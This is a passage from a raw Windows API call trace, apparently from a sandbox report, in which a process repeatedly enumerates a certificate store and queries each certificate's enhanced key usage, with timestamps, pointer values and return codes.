pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.702] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.702] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a1a5a0, pcbUsage=0x9ba874 | out: pUsage=0x2a1a5a0, pcbUsage=0x9ba874) returned 1 [0081.702] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24cd0 [0081.702] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.702] GetLastError () returned 0x80092004 [0081.702] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x2, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 0 [0081.702] GetLastError () returned 0x80092004 [0081.702] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24910 [0081.702] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.702] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a18c20, pcbUsage=0x9ba874 | out: pUsage=0x2a18c20, pcbUsage=0x9ba874) returned 1 [0081.702] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24cd0 [0081.702] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.703] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24cd0, dwFlags=0x4, pUsage=0x334d020, pcbUsage=0x9ba874 | out: pUsage=0x334d020, pcbUsage=0x9ba874) returned 1 [0081.703] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24cd0) returned 0x3e24af0 [0081.703] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.703] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.703] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.703] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.703] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.703] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.703] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.703] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334ca80, pcbUsage=0x9ba874 | out: pUsage=0x334ca80, pcbUsage=0x9ba874) returned 1 [0081.704] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.704] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.704] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d10b0, pcbUsage=0x9ba874 | out: pUsage=0x33d10b0, pcbUsage=0x9ba874) returned 1 [0081.704] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.704] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.704] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d0fc0, pcbUsage=0x9ba874 | out: pUsage=0x33d0fc0, pcbUsage=0x9ba874) returned 1 [0081.704] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.704] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.704] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f6520, pcbUsage=0x9ba874 | out: pUsage=0x33f6520, pcbUsage=0x9ba874) returned 1 [0081.704] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.704] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.704] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1560, pcbUsage=0x9ba874 | out: pUsage=0x33d1560, pcbUsage=0x9ba874) returned 1 [0081.704] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.705] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.705] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a200d8, pcbUsage=0x9ba874 | out: pUsage=0x2a200d8, pcbUsage=0x9ba874) returned 1 [0081.705] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24b90 [0081.705] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.705] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x33d1830, pcbUsage=0x9ba874 | out: pUsage=0x33d1830, pcbUsage=0x9ba874) returned 1 [0081.705] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24910 [0081.705] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.705] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f62a0, pcbUsage=0x9ba874 | out: pUsage=0x33f62a0, pcbUsage=0x9ba874) returned 1 [0081.705] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24be0 [0081.705] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24be0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.705] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24be0, dwFlags=0x4, pUsage=0x334d160, pcbUsage=0x9ba874 | out: pUsage=0x334d160, pcbUsage=0x9ba874) returned 1 [0081.706] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24be0) returned 0x3e24af0 [0081.706] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.706] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de958, pcbUsage=0x9ba874 | out: pUsage=0x31de958, pcbUsage=0x9ba874) returned 1 [0081.706] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.706] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.706] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f61a0, pcbUsage=0x9ba874 | out: pUsage=0x33f61a0, pcbUsage=0x9ba874) returned 1 [0081.706] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.706] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.706] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x2a19298, pcbUsage=0x9ba874 | out: pUsage=0x2a19298, pcbUsage=0x9ba874) returned 1 [0081.706] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.706] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.706] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33f6ca0, pcbUsage=0x9ba874 | out: pUsage=0x33f6ca0, pcbUsage=0x9ba874) returned 1 [0081.706] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.707] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.707] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f65a0, pcbUsage=0x9ba874 | out: pUsage=0x33f65a0, pcbUsage=0x9ba874) returned 1 [0081.707] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.707] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.707] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b92c8, pcbUsage=0x9ba874 | out: pUsage=0x35b92c8, pcbUsage=0x9ba874) returned 1 [0081.707] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b90 [0081.707] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.707] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b90, dwFlags=0x4, pUsage=0x35b9700, pcbUsage=0x9ba874 | out: pUsage=0x35b9700, pcbUsage=0x9ba874) returned 1 [0081.707] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b90) returned 0x3e24910 [0081.707] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.707] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d700, pcbUsage=0x9ba874 | out: pUsage=0x334d700, pcbUsage=0x9ba874) returned 1 [0081.707] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.707] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.708] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f6620, pcbUsage=0x9ba874 | out: pUsage=0x33f6620, pcbUsage=0x9ba874) returned 1 [0081.708] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.708] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.708] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33d1650, pcbUsage=0x9ba874 | out: pUsage=0x33d1650, pcbUsage=0x9ba874) returned 1 [0081.708] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.708] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.708] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de680, pcbUsage=0x9ba874 | out: pUsage=0x31de680, pcbUsage=0x9ba874) returned 1 [0081.708] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.708] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.708] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x31cfc98, pcbUsage=0x9ba874 | out: pUsage=0x31cfc98, pcbUsage=0x9ba874) returned 1 [0081.709] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.709] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.709] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d1b00, pcbUsage=0x9ba874 | out: pUsage=0x33d1b00, pcbUsage=0x9ba874) returned 1 [0081.709] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.709] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.709] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.709] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.709] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.709] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334cee0, pcbUsage=0x9ba874 | out: pUsage=0x334cee0, pcbUsage=0x9ba874) returned 1 [0081.709] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.709] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.709] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.710] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.710] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.710] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de7b8, pcbUsage=0x9ba874 | out: pUsage=0x31de7b8, pcbUsage=0x9ba874) returned 1 [0081.710] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.710] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.710] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d840, pcbUsage=0x9ba874 | out: pUsage=0x334d840, pcbUsage=0x9ba874) returned 1 [0081.710] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24b40 [0081.710] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.710] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x35b92c8, pcbUsage=0x9ba874 | out: pUsage=0x35b92c8, pcbUsage=0x9ba874) returned 1 [0081.710] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24af0 [0081.710] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.710] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b9700, pcbUsage=0x9ba874 | out: pUsage=0x35b9700, pcbUsage=0x9ba874) returned 1 [0081.710] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.711] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.711] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x35b97d8, pcbUsage=0x9ba874 | out: pUsage=0x35b97d8, pcbUsage=0x9ba874) returned 1 [0081.711] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24af0 [0081.711] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.711] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33d10b0, pcbUsage=0x9ba874 | out: pUsage=0x33d10b0, pcbUsage=0x9ba874) returned 1 [0081.711] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.711] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.711] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.711] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.711] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.711] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2a19298, pcbUsage=0x9ba874 | out: pUsage=0x2a19298, pcbUsage=0x9ba874) returned 1 [0081.711] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.712] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.712] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x31de680, pcbUsage=0x9ba874 | out: pUsage=0x31de680, pcbUsage=0x9ba874) returned 1 [0081.712] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.712] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.712] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x2c374c0, pcbUsage=0x9ba874 | out: pUsage=0x2c374c0, pcbUsage=0x9ba874) returned 1 [0081.712] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.712] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.712] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b98b0, pcbUsage=0x9ba874 | out: pUsage=0x35b98b0, pcbUsage=0x9ba874) returned 1 [0081.712] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24910 [0081.712] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.712] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x35b9628, pcbUsage=0x9ba874 | out: pUsage=0x35b9628, pcbUsage=0x9ba874) returned 1 [0081.713] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.713] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.713] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.713] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.713] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.713] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33f6b20, pcbUsage=0x9ba874 | out: pUsage=0x33f6b20, pcbUsage=0x9ba874) returned 1 [0081.713] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.713] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.713] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f5fa0, pcbUsage=0x9ba874 | out: pUsage=0x33f5fa0, pcbUsage=0x9ba874) returned 1 [0081.713] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.713] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.713] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x334c9e0, pcbUsage=0x9ba874 | out: pUsage=0x334c9e0, pcbUsage=0x9ba874) returned 1 [0081.713] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.714] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.714] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33d0ed0, pcbUsage=0x9ba874 | out: pUsage=0x33d0ed0, pcbUsage=0x9ba874) returned 1 [0081.714] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.714] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.714] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x33f63a0, pcbUsage=0x9ba874 | out: pUsage=0x33f63a0, pcbUsage=0x9ba874) returned 1 [0081.714] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.714] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.714] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x33f3ca8, pcbUsage=0x9ba874 | out: pUsage=0x33f3ca8, pcbUsage=0x9ba874) returned 1 [0081.714] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.714] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.714] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x33f5f20, pcbUsage=0x9ba874 | out: pUsage=0x33f5f20, pcbUsage=0x9ba874) returned 1 [0081.714] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24910 [0081.715] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.715] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24910, dwFlags=0x4, pUsage=0x334d2a0, pcbUsage=0x9ba874 | out: pUsage=0x334d2a0, pcbUsage=0x9ba874) returned 1 [0081.715] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24910) returned 0x3e24af0 [0081.715] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.715] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x35b9700, pcbUsage=0x9ba874 | out: pUsage=0x35b9700, pcbUsage=0x9ba874) returned 1 [0081.715] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b40 [0081.715] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.716] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24b40, dwFlags=0x4, pUsage=0x2a19298, pcbUsage=0x9ba874 | out: pUsage=0x2a19298, pcbUsage=0x9ba874) returned 1 [0081.716] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24b40) returned 0x3e24af0 [0081.716] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x0, pcbUsage=0x9ba874 | out: pUsage=0x0, pcbUsage=0x9ba874) returned 1 [0081.716] CertGetEnhancedKeyUsage (in: pCertContext=0x3e24af0, dwFlags=0x4, pUsage=0x2c374c0, pcbUsage=0x9ba874 | out: pUsage=0x2c374c0, pcbUsage=0x9ba874) returned 1 [0081.716] CertEnumCertificatesInStore (hCertStore=0x1060f98, pPrevCertContext=0x3e24af0) returned 0x3e24b90 [0081.716] CertGetEnhancedKeyUsage (in: 